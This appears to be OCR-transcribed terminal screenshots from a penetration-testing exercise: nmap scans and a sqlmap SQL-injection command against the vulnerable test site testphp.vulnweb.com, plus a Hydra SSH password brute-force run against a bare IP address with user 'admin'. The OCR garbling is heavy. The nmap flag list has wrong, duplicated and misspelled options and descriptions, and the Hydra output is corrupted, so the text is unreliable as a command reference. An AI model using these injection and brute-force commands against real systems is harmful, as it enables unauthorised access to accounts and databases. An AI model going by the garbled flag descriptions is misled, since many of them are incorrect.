```
ari-shankar@Victus:-$ nmap testphp.vulnweb.com
itarting Nmap 7.945VN ( https://nmap.org ) at 2025-03-10 11:34 IST
imap scan report for testphp.vulnweb.com (44.228.249.3)
iost is up (0.31s latency).
DNS record for 44.228.249.3: ec2-44-228-249-3.us-west-2.compute.amazonaws.com
iot shown: 999 filtered tcp ports (no-response)
ORT STATE SERVICE
i0/tcp open http
```

```
ari-shankar@Victus:-$ nmap -A testphp.vulnweb.com
tarting Nmap 7.945VN ( https://nmap.org ) at 2025-03-10 11:17 IST
map scan report for testphp.vulnweb.com (44.228.249.3)
ost is up (0.35s latency).
DNS record for 44.228.249.3: ec2-44-228-249-3.us-west-2.compute.amazonaws.com
ot shown: 999 filtered tcp ports (no-response)
ORT STATE SERVICE VERSION
0/tcp open http nginx 1.19.0
_http-title: Home of Acunetix Art

ervice detection performed. Please report any incorrect results at https://nmap.org/submit/ .
map done: 1 IP address (1 host up) scanned in 58.63 seconds
```

```
hari-shankar@Victus:-S nmap -r testphp.vulnweb.com
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-10 11:36 IST
Nmap scan report for testphp.vulnweb.com (44.228.249.3)
Host is up (0.30s latency).
rDNS record for 44.228.249.3: ec2-44-228-249-3.us-west-2.compute.amazonaws.com
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 20.95 seconds
```

```
- map - (Target IP): Performs a basic scan of the specified IP address to discover open ports and services.

- map - p (port12), sport29, sport39 (Target IP): Seams only the specified ports on the target IP address

- map - p (variance Ip): Detects and reports the version of services numning on open ports.

- map - 0 (Target IP): Attempts to identify the operating system of the target.

- map - 0 (Target IP): Performs a naggressive scan that includes CS defection, version detection, script scanning, and tracemouts.

- map - no (Target IP): Performs a naggressive scan that includes CS defection, version detection, script scanning, and tracemouts.

- map - no (Target IP): Performs a ning scan to determine which hosts are up without scanning ports.

- map - not (Target IP): Performs a TCP connect scan, establishing a full TCP connection to determine open ports.

- map - not (Target IP): Performs a TCP connect scan, establishing a full TCP connect scan. It sends SCN packets and analyzes responses.

- map - not (Target IP): Performs a TCP scan, which is faster and stealthier than a TCP connect scan. It sends SCN packets and analyzes responses.

- map - not (Target IP): The - if is command in Amap is used to list the network interfaces and their configurations on the system where Map is running. This command provides detailed information about each network interface, including IP addresses, NGC addresses, and other relevant network parameters.

- map - PG (Target IP): It scens all the TCP DNN Packets

- map - PG (Target IP): It scens all the TCP DNN Packets
```





```
** When for New New Carlo Martin Structure Convertists.php?artist=1' --dbs

**sqlmap or Bitp://testphp.vulmeb.com/artists.php?artist=1' --dbs

**sqlmap or Bitp://testphp.vulmeb.com/artists.php?artist=1' --dbs

**liss.iistacistacistic Busge of sqlmap.org

**li applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this prog am plant of the state of the sta
```

```
hari-shankar@Victus:-$ hydrs -l edmin -P passwords.txt 172.191.232.249 ssh -v
Hydra V9.5 (c) 2023 by van Hauser/ThK & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws an
d ethics anyway).

Hydra (https://github.com/venhauser-thc/thc-hydrs) starting at 2025-03-10 11:55:57

[MARHING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

[DATA] nax 6 tasks per 1 server, overall 6 tasks, 6 login trics (l:1/p:6), -1 try per task

[DATA] attacking ssh://172.191.232.249:22/

[VERBOSE] Resolving addresses ... [VERBOSE] resolving dome

[INFO] Testing of Password authentication is supported by ssh://adming172.191.232.249:22

[INFO] Successful, pessword authentication is supported by ssh://arx.191.232.249:22

[STATUS] Stack Finished for 172.191.232.249:23.249:24

[STATUS] Stack Finished for 172.191.232.249:26

[STATUS] Stack Finished for 172.191.232.249:20

[AFO] Successful, pessword authentication is supported by ssh://arx.191.232.249:26

[STATUS] Stack Finished for 172.191.232.249:27

[AFO] Successful, pessword suthentication is supported by ssh://arx.191.232.249:26

[STATUS] Stack Finished for 172.191.232.249:20

[AFO] Successful, pessword suthentication is supported by ssh://arx.191.232.249:26

[AFO] Successful, pessword suthentication is supported by ssh://arx.191.232.249:27

[AFO] Successful, pessword suthentication is supported by ssh://arx.191.232.249:27

[AFO] Successful, pessword suthentication is supported by ssh://arx.191.232.249:27

[AFO] Success
```

























